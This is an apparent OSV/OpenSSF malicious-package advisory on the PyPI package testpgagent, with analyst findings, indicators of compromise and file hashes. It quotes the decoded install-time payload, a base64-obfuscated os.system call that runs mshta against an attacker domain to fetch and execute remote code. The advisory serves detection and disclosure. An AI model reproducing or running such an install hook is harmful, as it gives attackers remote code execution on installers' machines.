MAL-2026-5824

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/testpgagent/MAL-2026-5824.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5824
Published
2026-06-15T17:24:46Z
Modified
2026-06-16T10:30:58.375940687Z
Summary
Malicious code in testpgagent (PyPI)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f)

On pip install, setup.py line 19 calls exec(base64.b64decode(...)) whose decoded body is import os; os.system('cmd /c "mshta http://fixars.top"'). This launches Windows mshta.exe against http://fixars.top over plaintext HTTP, fetching and executing an arbitrary HTML-application payload on the installer's machine. The payload is obfuscated with base64+exec to evade casual inspection. The fetch destination is unrelated to any declared publisher, content is unpinned and mutable, and execution is fully attacker-controlled. Any Windows machine running pip install TestPGAgent==0.2 will execute remote code chosen by whoever controls fixars.top at the moment of install.

Source: kam193 (cc91b82332e104c5788470ba2d3bad983bf7a8d24615c0aa55788877441f6315)

During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.


Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-easyaillm

Reasons (based on the campaign):

  • Downloads and executes a remote executable.

  • obfuscation

  • malware

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-006655",
            "import_time": "2026-06-15T18:54:56.185918176Z",
            "versions": [
                "0.2"
            ],
            "source": "amazon-inspector",
            "sha256": "c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f",
            "modified_time": "2026-06-15T18:23:03Z"
        },
        {
            "id": "pypi/2026-06-easyaillm/testpgagent",
            "import_time": "2026-06-15T18:54:58.630667986Z",
            "versions": [
                "0.1",
                "0.2"
            ],
            "source": "kam193",
            "sha256": "cc91b82332e104c5788470ba2d3bad983bf7a8d24615c0aa55788877441f6315",
            "modified_time": "2026-06-15T17:24:46.312102Z"
        },
        {
            "id": "pypi/2026-06-easyaillm/testpgagent",
            "import_time": "2026-06-15T22:45:32.26810375Z",
            "versions": [
                "0.1",
                "0.2"
            ],
            "source": "kam193",
            "modified_time": "2026-06-15T17:24:46.312102Z",
            "sha256": "716181b28eadded8c97c8523daa795b07ad06a64d705ac88e2e7bed2ce2a496e"
        },
        {
            "id": "pypi/2026-06-easyaillm/testpgagent",
            "import_time": "2026-06-16T10:17:17.183594328Z",
            "versions": [
                "0.1",
                "0.2"
            ],
            "source": "kam193",
            "modified_time": "2026-06-15T17:24:46.312102Z",
            "sha256": "d3d68904948d2a20829d60c633af04d71bec824347ef8655781009ff459bf9bb"
        }
    ],
    "iocs": {
        "urls": [
            "https://pastebin.com/raw/hEF5HaFc",
            "https://pastebin.com/raw/yBcUM1QBs",
            "https://pastebin.com/raw/yBcUM1QB",
            "http://fixars.top"
        ],
        "domains": [
            "fixars.top"
        ]
    }
}
References
Credits

Affected packages

PyPI / testpgagent

Package

Affected ranges

Affected versions

0.*
0.1
0.2

Database specific

cwes
[
    {
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506"
    }
]
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/testpgagent/MAL-2026-5824.json"
indicators
{
    "package_integrity": [
        {
            "filename": "testpgagent-0.2.tar.gz",
            "hashes": {
                "blake2b_256": "3329f692eb9e80c4d443dd39b74602a4e0e6f65e56526c27672569f10cd37742",
                "sha256": "67e03d8eb4cdfed95b9564a5c7be705cec523782feded1bc2780ee9b0b3dc9dc",
                "md5": "a4481a2dbcda633fbf453b01a7fd4740"
            }
        }
    ],
    "evidence_files": [
        {
            "path": "setup.py",
            "sha256": "48ba3535845d620cf398b4de2516a6ff2c56f283a0969f1d43ddea10c4a7fc6b",
            "tlsh": "29f020838ce9cf1c11f04a440c259010f9e083af1650d8cf347c835c1f74412c227458"
        }
    ]
}